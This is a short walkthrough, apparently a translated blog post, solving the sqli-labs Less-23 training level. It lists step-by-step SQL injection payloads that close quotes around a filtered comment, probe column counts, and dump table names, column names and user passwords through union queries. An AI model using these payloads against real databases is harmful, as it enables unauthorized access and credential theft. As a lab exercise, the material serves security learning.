当前位置:网站首页>SQL injection less23 (filter comment)
SQL injection less23 (filter comment)
2022-07-25 11:30:00 【Happy star】
?id=1
?id=1'
''1'' LIMIT 0,1'
First remove a single quotation mark on the left and right , Equivalent to quotation in Chinese '1'' LIMIT 0,1
It's obvious that it's a single quotation mark
SELECT * FROM users WHERE id='$id' LIMIT 0,1
Because annotations are filtered , We can manually close the following single quotation marks
?id=1' and '1'='1
?id=1' and '1'='2
Want to use error injection , Because there will be error messages
?id=1' and updatexml(1, concat('#', database()), 1) and '1'='1
In the end, there may be more Limit 0,1 This part , Cause the statement to make an error
So give up error reporting
Try to use union Inject , Because there is echo point ?id=1' order by 4 and '1'='1
Cannot find the number of fields
Use it directly union, To test the number of fields one by one ?id=1' union select 1,'2
It can be ?id=1' union select 1,2,'3
View echo location ?id=-1' union select 1,2,'3
Database search ?id=-1' union select 1,(select concat(database(), 0x7e, @@basedir)),'3
Look up the table ?id=-1' union select 1, (select group_concat(table_name) from information_schema.tables where table_schema="security"),'3
Check field ?id=-1' union select 1, (select group_concat(column_name) from information_schema.columns where table_schema="security" and table_name="users"),'3
Check data ?id=-1' union select 1, (select group_concat(username,0x3a,password) from security.users),'3
边栏推荐
- shell- 第七章练习
- Reptile foundation I
- JS convert pseudo array to array
- Mlx90640 infrared thermal imager temperature measurement module development notes (V)
- Learn NLP with Transformer (Chapter 8)
- C# Newtonsoft.Json 高级用法
- Nowcodertop7-11 - continuous updating
- Reinforcement Learning 强化学习(四)
- BGP federal experiment
- LVS负载均衡之LVS-NAT与LVS-DR模式原理详解
猜你喜欢

爬虫基础一

Want to record your supernatural moments when playing games? Let's take a look at how to use unity screenshots

PostgreSQL stepping on the pit | error: operator does not exist: UUID = character varying

BeautifulSoup的一些用法

Learn NLP with Transformer (Chapter 5)

SQL注入 Less18(头部注入+报错注入)

MLX90640 红外热成像仪测温模块开发笔记(五)

MySQL | GROUP_CONCAT函数,将某一列的值用逗号拼接

Let sports happen naturally, and fire creates a new lifestyle

基于MATLAB的常见线性调制方法
随机推荐
使用Three.js实现炫酷的赛博朋克风格3D数字地球大屏
Ue4.26 source code version black screen problem of client operation when learning Wan independent server
Learn NLP with Transformer (Chapter 2)
syncronized锁升级的过程
Common web attacks and defense
Multiply Floyd "suggestions collection"
Why should the hashcode () method be rewritten when rewriting the equals () method
Only know that the preform is used to generate objects? See how I use unity to generate UI prefabs
SQL语言(五)
Stm32cubemx learning record -- installation, configuration and use
倍增Floyd「建议收藏」
用Unity不会几个插件怎么能行?Unity各类插件及教程推荐
HCIP(11)
学习路之PHP--TP5.0使用中文当别名,报“不支持的数据表达式”
为什么重写equals()方法必须要重写hashCode()方法
Some errors of tensorflow calling multiple GPUs
一篇看懂:IDEA 使用scala 编写wordcount程序 并生成jar包 实测
Getting started with tensorflow
SQL language (III)
leetcode 剑指 Offer 27. 二叉树的镜像